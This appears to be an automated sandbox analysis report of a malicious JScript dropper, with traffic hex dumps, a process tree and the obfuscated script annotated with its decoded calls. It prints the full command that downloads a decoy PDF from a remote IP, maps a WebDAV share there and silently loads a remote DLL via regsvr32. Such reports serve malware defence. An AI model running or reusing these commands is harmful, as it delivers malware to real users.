d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 09:08:23.829092979 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 09:08:23.829104900 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 09:08:23.829116106 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 09:08:23.829133987 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 09:08:23.829145908 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 09:08:23.829157114 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 09:08:23.829166889 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 09:08:23.829173088 CET	332	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 11, 2025 09:08:23.829185963 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 11, 2025 09:08:23.834072113 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	7332	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:08:25.120260954 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 09:08:25.890678883 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:08:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:08:19
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js"
Imagebase:	0x7ff6bde20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:08:19
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Imagebase:	0x7ff6bf9d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:08:19
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:08:19
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:08:23
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:08:23
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6bf9d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:08:24
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff663b50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:08:24
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:08:24
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:08:24
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1644,i,1473464380833965545,3680319473112078666,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ixigxizl() {	ixigxizl() ➔ undefined
1	ccckhhu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var imhfl = this[fgcldqz + uzeoanye + pipfcy + itqtgf + ndusspy + hwmzyn + tacypcjb + uqvfjw] ( this[vkihlox + smjwz + mtkyvz + pipfcy + odlkhiern + fgcldqz + uqvfjw][vcpuw + pipfcy + ndusspy + uzeoanye + uqvfjw + ndusspy + moqcv + wcvtnepd + whsqveel + ndusspy + mtkyvz + uqvfjw] ( vkihlox + smjwz + mtkyvz + pipfcy + odlkhiern + fgcldqz + uqvfjw + fvxjqoy + smjwz + kghpz + ndusspy + qmqvujw + qmqvujw ) [vuvqad + ndusspy + daxsr + vuvqad + ndusspy + uzeoanye + kvjcp] ( wwzpzsunn + ksetuvbvg + fppopzf + aesoi + svlxej + vcpuw + ejcpt + vuvqad + vuvqad + fppopzf + pblubq + eernnka + svlxej + ejcpt + smjwz + fppopzf + vuvqad + qnhsi + vcpuw + juomrmbvb + tacypcjb + uqvfjw + pipfcy + juomrmbvb + qmqvujw + wvxab + zieawy + uzeoanye + tacypcjb + ndusspy + qmqvujw + qnhsi + hwmzyn + tacypcjb + uqvfjw + ndusspy + pipfcy + tacypcjb + uzeoanye + uqvfjw + odlkhiern + juomrmbvb + tacypcjb + uzeoanye + qmqvujw + qnhsi + nghnyovwv + juomrmbvb + mtkyvz + uzeoanye + qmqvujw + ndusspy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vqjtzq = 0 ; vqjtzq < ccckhhu[qmqvujw + ndusspy + tacypcjb + daxsr + uqvfjw + kghpz] ; ++ vqjtzq )
4	{
5	if ( imhfl == ccckhhu[vqjtzq] )
6	{
7	imhfl = true;
8	break ;
9	}
10	}
11	if ( imhfl !== true )
12	this[vkihlox + smjwz + mtkyvz + pipfcy + odlkhiern + fgcldqz + uqvfjw][arbwqhyl + ahhbunoy + odlkhiern + uqvfjw] ( );
13	this[vkihlox + smjwz + mtkyvz + pipfcy + odlkhiern + fgcldqz + uqvfjw][vcpuw + pipfcy + ndusspy + uzeoanye + uqvfjw + ndusspy + moqcv + wcvtnepd + whsqveel + ndusspy + mtkyvz + uqvfjw] ( vkihlox + smjwz + mtkyvz + pipfcy + odlkhiern + fgcldqz + uqvfjw + fvxjqoy + smjwz + kghpz + ndusspy + qmqvujw + qmqvujw ) [pipfcy + ahhbunoy + tacypcjb] ( mtkyvz + glnhw + kvjcp + wvxab + oyzpqyi + mtkyvz + wvxab + fgcldqz + juomrmbvb + xqlliykj + ndusspy + pipfcy + itqtgf + kghpz + ndusspy + qmqvujw + qmqvujw + fvxjqoy + ndusspy + bkpvaq + ndusspy + wvxab + zxiiuvkm + vcpuw + juomrmbvb + glnhw + glnhw + uzeoanye + tacypcjb + kvjcp + wvxab + lxhpt + hwmzyn + tacypcjb + znoajlw + juomrmbvb + bvtngbjhi + ndusspy + zxiiuvkm + vkihlox + ndusspy + wcvtnepd + vuvqad + ndusspy + fzhzc + ahhbunoy + ndusspy + itqtgf + uqvfjw + wvxab + zxiiuvkm + moqcv + ahhbunoy + uqvfjw + muxibj + odlkhiern + qmqvujw + ndusspy + wvxab + wstikq + uqvfjw + ndusspy + glnhw + fgcldqz + wstikq + qnhsi + odlkhiern + tacypcjb + znoajlw + juomrmbvb + odlkhiern + mtkyvz + ndusspy + fvxjqoy + fgcldqz + kvjcp + ukqgvc + wvxab + kghpz + uqvfjw + uqvfjw + fgcldqz + adxisfo + oyzpqyi + oyzpqyi + tqvnkvi + wfufzo + wvkrncho + fvxjqoy + tqvnkvi + iiingbj + wvkrncho + fvxjqoy + tqvnkvi + fvxjqoy + kwnyln + ouroatc + gbseuroe + oyzpqyi + odlkhiern + tacypcjb + znoajlw + juomrmbvb + odlkhiern + mtkyvz + ndusspy + fvxjqoy + fgcldqz + kghpz + fgcldqz + lxhpt + bbdbewanh + bbdbewanh + itqtgf + uqvfjw + uzeoanye + pipfcy + uqvfjw + wvxab + wstikq + uqvfjw + ndusspy + glnhw + fgcldqz + wstikq + qnhsi + odlkhiern + tacypcjb + znoajlw + juomrmbvb + odlkhiern + mtkyvz + ndusspy + fvxjqoy + fgcldqz + kvjcp + ukqgvc + bbdbewanh + bbdbewanh + mtkyvz + glnhw + kvjcp + wvxab + oyzpqyi + mtkyvz + wvxab + tacypcjb + ndusspy + uqvfjw + wvxab + ahhbunoy + itqtgf + ndusspy + wvxab + qnhsi + qnhsi + tqvnkvi + wfufzo + wvkrncho + fvxjqoy + tqvnkvi + iiingbj + wvkrncho + fvxjqoy + tqvnkvi + fvxjqoy + kwnyln + ouroatc + gbseuroe + tryohvet + uhplb + uhplb + uhplb + uhplb + qnhsi + kvjcp + uzeoanye + znoajlw + xqlliykj + xqlliykj + xqlliykj + pipfcy + juomrmbvb + juomrmbvb + uqvfjw + qnhsi + bbdbewanh + bbdbewanh + mtkyvz + glnhw + kvjcp + wvxab + oyzpqyi + mtkyvz + wvxab + pipfcy + ndusspy + daxsr + itqtgf + znoajlw + pipfcy + wvkrncho + kwnyln + wvxab + oyzpqyi + itqtgf + wvxab + qnhsi + qnhsi + tqvnkvi + wfufzo + wvkrncho + fvxjqoy + tqvnkvi + iiingbj + wvkrncho + fvxjqoy + tqvnkvi + fvxjqoy + kwnyln + ouroatc + gbseuroe + tryohvet + uhplb + uhplb + uhplb + uhplb + qnhsi + kvjcp + uzeoanye + znoajlw + xqlliykj + xqlliykj + xqlliykj + pipfcy + juomrmbvb + juomrmbvb + uqvfjw + qnhsi + kwnyln + gbseuroe + iiingbj + kwnyln + wvkrncho + tqvnkvi + kwnyln + kwnyln + iiingbj + wvkrncho + tqvnkvi + qvpyfkq + iiingbj + uhplb + fvxjqoy + kvjcp + qmqvujw + qmqvujw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll",0,false) ➔ 0
14	}
15	uqvfjw = "E";
16	uqvfjw = "P";
17	uqvfjw = "m";
18	uqvfjw = "x";
19	uqvfjw = "r";
20	uqvfjw = "B";
21	uqvfjw = "z";
22	uqvfjw = "c";
23	uqvfjw = "b";
24	uqvfjw = "K";
25	uqvfjw = "X";
26	uqvfjw = "R";
27	uqvfjw = "Z";
28	uqvfjw = "I";
29	uqvfjw = "q";
30	uqvfjw = "U";
31	uqvfjw = "H";
32	uqvfjw = "b";
33	uqvfjw = "n";
34	uqvfjw = "h";
35	uqvfjw = "e";
36	uqvfjw = "j";
37	uqvfjw = "g";
38	uqvfjw = "B";
39	uqvfjw = "V";
40	uqvfjw = "y";
41	uqvfjw = "q";
42	uqvfjw = "K";
43	uqvfjw = "Q";
44	uqvfjw = "C";
45	uqvfjw = "H";
46	uqvfjw = "K";
47	uqvfjw = "I";
48	uqvfjw = "J";
49	uqvfjw = "n";
50	uqvfjw = "s";
51	uqvfjw = "z";
52	uqvfjw = "I";
53	uqvfjw = "k";
54	uqvfjw = "Q";
55	uqvfjw = "A";
56	uqvfjw = "g";
57	uqvfjw = "p";
58	uqvfjw = "A";
59	uqvfjw = "t";
60	juomrmbvb = "s";
61	juomrmbvb = "K";
62	juomrmbvb = "l";
63	juomrmbvb = "r";
64	juomrmbvb = "b";
65	juomrmbvb = "T";
66	juomrmbvb = "Z";
67	juomrmbvb = "E";
68	juomrmbvb = "K";
69	juomrmbvb = "Y";
70	juomrmbvb = "J";
71	juomrmbvb = "Q";
72	juomrmbvb = "s";
73	juomrmbvb = "o";
74	juomrmbvb = "M";
75	juomrmbvb = "U";
76	juomrmbvb = "d";
77	juomrmbvb = "U";
78	juomrmbvb = "E";
79	juomrmbvb = "U";
80	juomrmbvb = "O";
81	juomrmbvb = "r";
82	juomrmbvb = "Q";
83	juomrmbvb = "o";
84	juomrmbvb = "c";
85	juomrmbvb = "P";
86	juomrmbvb = "R";
87	juomrmbvb = "c";
88	juomrmbvb = "A";
89	juomrmbvb = "u";
90	juomrmbvb = "L";
91	juomrmbvb = "X";
92	juomrmbvb = "p";
93	juomrmbvb = "A";
94	juomrmbvb = "c";
95	juomrmbvb = "k";
96	juomrmbvb = "W";
97	juomrmbvb = "F";
98	juomrmbvb = "o";
99	pblubq = "b";
100	pblubq = "N";
101	uzeoanye = "A";
102	uzeoanye = "j";
103	uzeoanye = "X";
104	uzeoanye = "x";
105	uzeoanye = "q";
106	uzeoanye = "H";
107	uzeoanye = "f";
108	uzeoanye = "a";
109	daxsr = "g";
110	glnhw = "L";
111	glnhw = "S";
112	glnhw = "N";
113	glnhw = "t";
114	glnhw = "f";
115	glnhw = "W";
116	glnhw = "Y";
117	glnhw = "u";
118	glnhw = "z";
119	glnhw = "K";
120	glnhw = "f";
121	glnhw = "q";
122	glnhw = "B";
123	glnhw = "I";
124	glnhw = "D";
125	glnhw = "W";
126	glnhw = "w";
127	glnhw = "a";
128	glnhw = "B";
129	glnhw = "Z";
130	glnhw = "Z";
131	glnhw = "u";
132	glnhw = "v";
133	glnhw = "T";
134	glnhw = "f";
135	glnhw = "R";
136	glnhw = "m";
137	oyzpqyi = "Z";
138	oyzpqyi = "J";
139	oyzpqyi = "f";
140	oyzpqyi = "Y";
141	oyzpqyi = "M";
142	oyzpqyi = "H";
143	oyzpqyi = "P";
144	oyzpqyi = "R";
145	oyzpqyi = "b";
146	oyzpqyi = "b";
147	oyzpqyi = "R";
148	oyzpqyi = "Y";
149	oyzpqyi = "g";
150	oyzpqyi = "N";
151	oyzpqyi = "l";
152	oyzpqyi = "b";
153	oyzpqyi = "a";
154	oyzpqyi = "I";
155	oyzpqyi = "P";
156	oyzpqyi = "F";
157	oyzpqyi = "n";
158	oyzpqyi = "j";
159	oyzpqyi = "K";
160	oyzpqyi = "z";
161	oyzpqyi = "U";
162	oyzpqyi = "i";
163	oyzpqyi = "D";
164	oyzpqyi = "U";
165	oyzpqyi = "p";
166	oyzpqyi = "c";
167	oyzpqyi = "D";
168	oyzpqyi = "j";
169	oyzpqyi = "r";
170	oyzpqyi = "L";
171	oyzpqyi = "S";
172	oyzpqyi = "D";
173	oyzpqyi = "y";
174	oyzpqyi = "E";
175	oyzpqyi = "/";
176	znoajlw = "h";
177	znoajlw = "r";
178	znoajlw = "q";
179	znoajlw = "v";
180	znoajlw = "s";
181	znoajlw = "w";
182	znoajlw = "n";
183	znoajlw = "i";
184	znoajlw = "c";
185	znoajlw = "d";
186	znoajlw = "v";
187	znoajlw = "n";
188	znoajlw = "v";
189	znoajlw = "s";
190	znoajlw = "W";
191	znoajlw = "a";
192	znoajlw = "T";
193	znoajlw = "n";
194	znoajlw = "r";
195	znoajlw = "F";
196	znoajlw = "r";
197	znoajlw = "R";
198	znoajlw = "e";
199	znoajlw = "l";
200	znoajlw = "L";
201	znoajlw = "q";
202	znoajlw = "U";
203	znoajlw = "X";
204	znoajlw = "T";
205	znoajlw = "O";
206	znoajlw = "L";
207	znoajlw = "G";
208	znoajlw = "v";
209	adxisfo = "g";
210	adxisfo = "c";
211	adxisfo = "N";
212	adxisfo = "q";
213	adxisfo = "C";
214	adxisfo = "K";
215	adxisfo = "e";
216	adxisfo = "W";
217	adxisfo = "r";
218	adxisfo = "y";
219	adxisfo = "G";
220	adxisfo = "m";
221	adxisfo = "r";
222	adxisfo = "B";
223	adxisfo = "D";
224	adxisfo = "W";
225	adxisfo = "z";
226	adxisfo = "j";
227	adxisfo = "G";
228	adxisfo = "e";
229	adxisfo = "p";
230	adxisfo = "z";
231	adxisfo = "x";
232	adxisfo = "u";
233	adxisfo = "V";
234	adxisfo = "I";
235	adxisfo = "f";
236	adxisfo = "x";
237	adxisfo = "l";
238	adxisfo = "G";
239	adxisfo = "X";
240	adxisfo = "P";
241	adxisfo = "z";
242	adxisfo = "X";
243	adxisfo = "x";
244	adxisfo = "Q";
245	adxisfo = "D";
246	adxisfo = "g";
247	adxisfo = "Z";
248	adxisfo = "i";
249	adxisfo = ":";
250	xqlliykj = "m";
251	xqlliykj = "J";
252	xqlliykj = "x";
253	xqlliykj = "W";
254	xqlliykj = "N";
255	xqlliykj = "D";
256	xqlliykj = "R";
257	xqlliykj = "i";
258	xqlliykj = "b";
259	xqlliykj = "H";
260	xqlliykj = "D";
261	xqlliykj = "C";
262	xqlliykj = "X";
263	xqlliykj = "j";
264	xqlliykj = "q";
265	xqlliykj = "S";
266	xqlliykj = "T";
267	xqlliykj = "V";
268	xqlliykj = "J";
269	xqlliykj = "k";
270	xqlliykj = "t";
271	xqlliykj = "v";
272	xqlliykj = "C";
273	xqlliykj = "D";
274	xqlliykj = "G";
275	xqlliykj = "a";
276	xqlliykj = "p";
277	xqlliykj = "w";
278	tqvnkvi = "Q";
279	tqvnkvi = "Y";
280	tqvnkvi = "1";
281	fppopzf = "W";
282	fppopzf = "n";
283	fppopzf = "N";
284	fppopzf = "p";
285	fppopzf = "c";
286	fppopzf = "J";
287	fppopzf = "F";
288	fppopzf = "J";
289	fppopzf = "W";
290	fppopzf = "j";
291	fppopzf = "K";
292	fppopzf = "B";
293	fppopzf = "X";
294	fppopzf = "h";
295	fppopzf = "v";
296	fppopzf = "E";
297	fppopzf = "M";
298	fppopzf = "r";
299	fppopzf = "u";
300	fppopzf = "P";
301	fppopzf = "p";
302	fppopzf = "y";
303	fppopzf = "N";
304	fppopzf = "t";
305	fppopzf = "R";
306	fppopzf = "a";
307	fppopzf = "p";
308	fppopzf = "O";
309	fppopzf = "j";
310	fppopzf = "E";
311	vuvqad = "l";
312	vuvqad = "q";
313	vuvqad = "l";
314	vuvqad = "r";
315	vuvqad = "z";
316	vuvqad = "h";
317	vuvqad = "i";
318	vuvqad = "U";
319	vuvqad = "W";
320	vuvqad = "I";
321	vuvqad = "T";
322	vuvqad = "S";
323	vuvqad = "M";
324	vuvqad = "w";
325	vuvqad = "R";
326	vuvqad = "L";
327	vuvqad = "c";
328	vuvqad = "R";
329	odlkhiern = "Y";
330	odlkhiern = "I";
331	odlkhiern = "e";
332	odlkhiern = "z";
333	odlkhiern = "k";
334	odlkhiern = "r";
335	odlkhiern = "i";
336	smjwz = "j";
337	smjwz = "W";
338	smjwz = "T";
339	smjwz = "B";
340	smjwz = "J";
341	smjwz = "Y";
342	smjwz = "X";
343	smjwz = "T";
344	smjwz = "w";
345	smjwz = "X";
346	smjwz = "c";
347	smjwz = "B";
348	smjwz = "S";
349	vcpuw = "B";
350	vcpuw = "M";
351	vcpuw = "k";
352	vcpuw = "J";
